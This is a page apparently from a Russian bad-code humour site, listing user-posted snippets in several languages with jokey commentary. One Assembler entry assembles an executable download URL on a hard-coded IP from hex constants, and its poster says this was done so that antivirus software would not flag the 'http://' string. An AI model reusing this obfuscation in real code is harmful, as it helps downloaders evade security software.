1. Лучший говнокод

    В номинации:
    За время:
  2. Java / Говнокод #7931

    +77

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    try {
        order.setAddress(address.clone());
    } catch (CloneNotSupportedException e) {
        // We will not get here, because priorAddressDtoToAdd.address is of Address type.
        // Moreover - none of the subclasses throws this exception
        LOG.error("Address clone is not supported? Nonsense...", e);
    }

    Это было бы даже весело, если бы не повторялось вместе с коментами 3 раза в одном классе.

    roman-kashitsyn, 22 Сентября 2011

    Комментарии (46)
  3. C++ / Говнокод #7336

    +177

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    int arr[100][100];
    
    for (int i = 0; i < 100; i++) {
       for (int j = 0; j < 100; j++) {
           if (i == j) arr[i][j] = 0;
       }
    }

    Когда-то работал в универе и увидел у одной девочки в лабораторном отчете.
    Код обнуляет диагональ массива, если кто сразу не понял)

    sotlef, 25 Июля 2011

    Комментарии (46)
  4. C++ / Говнокод #6998

    +153

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    if(FirstDot == 0 && LastDot == 0)
    			NoDots = true;
    		else
    			if(FirstDot != 0 && LastDot == 0)
    				throw gcnew System::Exception("Левый коррелятор начал работу, правый - нет.");
    			else
    				if(FirstDot == 0 && LastDot != 0)
    					throw gcnew System::Exception("Правый коррелятор начал работу, левый - нет.");
    				else
    					if(FirstDot != 0 && LastDot != 0)
    						if(FirstDot == LastDot)
    							NoDots = true;
    						else
    							NoDots = false;
    					else
    						throw gcnew System::Exception("WTF?");

    Нужно определить, есть на графике точки или нет. Человек решил подстраховаться и рассмотреть все возможные (и невозможные) варианты.

    ScumCoder, 19 Июня 2011

    Комментарии (46)
  5. Assembler / Говнокод #6827

    +204

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    domain db "91.213.217.36"
    softname db "calc.exe",0
    .......................
    Makehttp proc
     lea edi,url
     mov eax,70747468h
     mov [edi],eax
     mov eax,3ah
     mov [edi+4],eax
     mov eax,2f2fh
     mov [edi+5],eax
     lea esi,domain
     xor ecx,ecx
     push edx
     xor edx,edx
     mov edx,7
     mov cx,sizeof domain
     dom:
     lodsb
     mov [edi+edx],al
     add edx,1
     loop dom
     mov eax,2fh
     mov [edi+edx],eax
     add edx,1
     lea esi,softname
     mov cx,sizeof softname
     gen:
     lodsb
     mov [edi+edx],al
     add edx,1
     loop gen
     pop edx
     xor eax,eax
     mov eax,1
     ret
    Makehttp endp

    comodo ругался на строку http:// говоря что вирус :)Наговноколил это и пошел спать :)

    koloss, 03 Июня 2011

    Комментарии (46)
  6. Pascal / Говнокод #6355

    +118

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    Функция ext служит для формирования расширения файла с ЭС. Еe алгоритм основан на логике работы программы АРМ КБР. 
    В зависимости от порядкового номера файла ЭС вырабатывается расширение к этому файлу в диапазоне от «001» до «zzz». В листинге приведены построчные комментарии.
    
    Листинг 14-Функция ext
    function ext(num integer): string;
    var
    i : integer;
    s1. s2. s3 : char: //условно разделим расширение на три части - гри символа; 
    // расширение представляет собой конкатенацию s1+s2-s3 
    begin
    s1:='0'; s2:='0'; s3:='0'; изначально 000
    for i := 0 to num-1 do begin //счетчик от 0 до порядкового номера файла
     if(s3 in ['0'..'8']) then s3:=char(ord(s3)+1) //увеличиваем s3
     else if(s3='9') then s3:='a' // если s3 достигло 9 то заменяем символом 'а'
     else if(s3 in ['a'..'y']) then s3:=char(ord(s3)+1) // если s3 символ - берем следующий
     else begin //если s3 достигло значения "/'
      s3:='0'; //обнуляем s3
      if(s2 in ['0'..'8']) then s2:=char(ord(s2)+1) //увеличиваем s2
      else if(s2='9') then s2:='a' // если s2 достигло 9 то заменяем символом 'a'
      else if (s2 in ['a'..'y']) ihen s2:=char(ord(s2) + 1) //если s2 символ - берем следующий
      else begin // если s2 достигло значения z 
       s2:='0'; // обнуляем s2
       if (s1 in ['0'..'B']) then s1:=char(ord(s1)+1) //увеличиваем s1 else if (s1 ='9') then s1:='a' //если s1 достигло 9 то заменяем символом 'а'
       else if(s1 in ['a'..'y']) then s1:=char(ord(s1)+1) //если s2 символ - берем следующий
      end;
     end;
    end;
    result:=s1+s2+s3; //возвращаем конкатенацию сформированных частей расширения
    end;

    Пару дней назад моему начальнику принесли на рецензию магистерскую диссертацию специалиста по информационным технологиям. Ржали всем отделом! Магистерская листов так на 170. Я предлагаю Вашему вниманию одну функцию будущего специалиста-программиста :-)
    Кстати, разрабатывает он информационную систему для электронного документооборота внутри банка (по его словам даже уже внедрил), при этом большая часть кода на Паскале и также есть модуль для вывода различных диаграмм (в количестве 2х штук) на Дельфи.
    К слову, традиционно магистры в нашем университете претендуют на оценку "отлично".

    g00d, 14 Апреля 2011

    Комментарии (46)
  7. Pascal / Говнокод #5879

    +107

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    procedure delonefromend(var p:TPointer);
    var i,n:integer; t:TPointer;
    begin
           i:=1;
           t:=p;
           while p<>nil do
                   begin
                           t:=t^.next;
                           i:=i+1;
                   end;
           for n:=1 to i do p:=p^.next;
           dispose(p^.next);
    end;

    Для того чтобы добраться до последнего элемента в списке, сначала циклом подсчитывается в i их количество, а потом другим циклом от 1 до I указатель p перемещается на i элементов, тобишь в конец.

    anigon, 03 Марта 2011

    Комментарии (46)
  8. C++ / Говнокод #5508

    +165

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    static string GetRequestParam(string request)
            {
                string result="";
                int i = 4;
                for(char c=request[i];c!=' ';c=request[++i])
                    result+=c;
                return result;
            }

    Говногость, 03 Февраля 2011

    Комментарии (46)
  9. Куча / Говнокод #5312

    +121

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    Уважаемая Администрация и Сообщество!
    
    Предлагаю идею для расширения вашего проекта - сделать возможность постить анти-говнокоды, т.е. ТРУЪ-коды. Но сделать возможность читателям вносить в них изменения. Коммититься будут самые заплюсованные изменения, например.
    Таким образом, можно будет во-первых just-for-lulz делать идеальные сферические helloworld'ы а с другой - решать вполне реальные задачи разработчиков, на основе улучшенного, оптимизированного и одобренного Сообществом кода. 
    
    Ну и, конечно, можно будет грабить корованы 
    
    Могу оказать посильную помощь: умею говнокодить на PHP и JS.
    
    PS: Или такое уже предлагали?

    StriderMan, 18 Января 2011

    Комментарии (46)
  10. C# / Говнокод #5136

    +114

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    public new int? OperatorCode
            {
                get
                {
                    int result = 0;
                    if (!String.IsNullOrEmpty(Request.QueryString["OperatorCode"]) && Int32.TryParse(Request.QueryString["OperatorCode"].ToString(), out result) == true)
                        OPERATOR_CODE = result;
                    return OPERATOR_CODE;
                }
                set
                {
                    if (value.HasValue)
                        OPERATOR_CODE = value.Value;
                    else
                        OPERATOR_CODE = null;
                }
            }

    Вот такое свойство мне встретилось

    Othello, 03 Января 2011

    Комментарии (46)
  11. C# / Говнокод #5124

    +113

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    let rnd = System.Random()
     
    // список из 10-ти случайных элементов
    let myList = [1..10] |> List.map (fun x -> rnd.Next(1, 100))
     
    // функция, исключающая элементы с нечётными номерами
    let removeEven lst = [
        let i = ref 0
        for n in lst do
            if (!i % 2 <> 0) then yield n
            i := !i + 1]
     
    // выводим список
    printfn "%A" myList
     
    // исключаем нечётные и выводим
    printfn "%A" (removeEven myList)

    qbasic, 01 Января 2011

    Комментарии (46)